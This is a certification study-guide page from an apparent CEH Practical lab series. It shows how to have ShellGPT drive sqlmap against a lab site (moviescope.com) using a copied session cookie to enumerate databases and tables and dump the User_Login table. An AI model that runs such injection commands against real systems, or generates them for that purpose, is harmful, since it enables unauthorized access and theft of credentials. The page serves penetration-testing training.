> For the complete documentation index, see [llms.txt](https://ceh-practical.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh-practical.cavementech.com/module-15.-sql-injection/3.-perform-sql-injection-using-ai.md).

# 3. Perform SQL Injection using AI

As an ethical hacker or penetration tester, you must have a sound knowledge on the integration of AI technology in identifying and exploiting SQL injection vulnerabilities

## 1. Perform SQL Injection using ShellGPT

First we need to login to **<http://www.moviescope.com>** website and copy the cookie value.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FHoGr5ESRbmFcUP1hqv1E%2Fimage.png?alt=media&amp;token=41364697-6ecf-49d4-8518-d92fb2b5bb31" alt=""><figcaption></figcaption></figure>

```
sgpt --chat sql --shell “Use sqlmap on target url http://www.moviescope.com/viewprofile.aspx?id=1 with cookie value '[cookie value which you have copied in Step#3]' and enumerate the DBMS databases”
```

```
 sgpt --chat sql --shell “Use sqlmap on target url http://www.moviescope.com/viewprofile.aspx?id=1 with cookie value '[cookie value which you have copied in Step#3]' and enumerate the tables pertaining to moviescope database"
```

```
 sgpt --chat sql --shell “Use sqlmap on target url http://www.moviescope.com/viewprofile.aspx?id=1 with cookie value '[cookie value which you have copied in Step#3]' and retrieve User_Login table contents 
```

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}
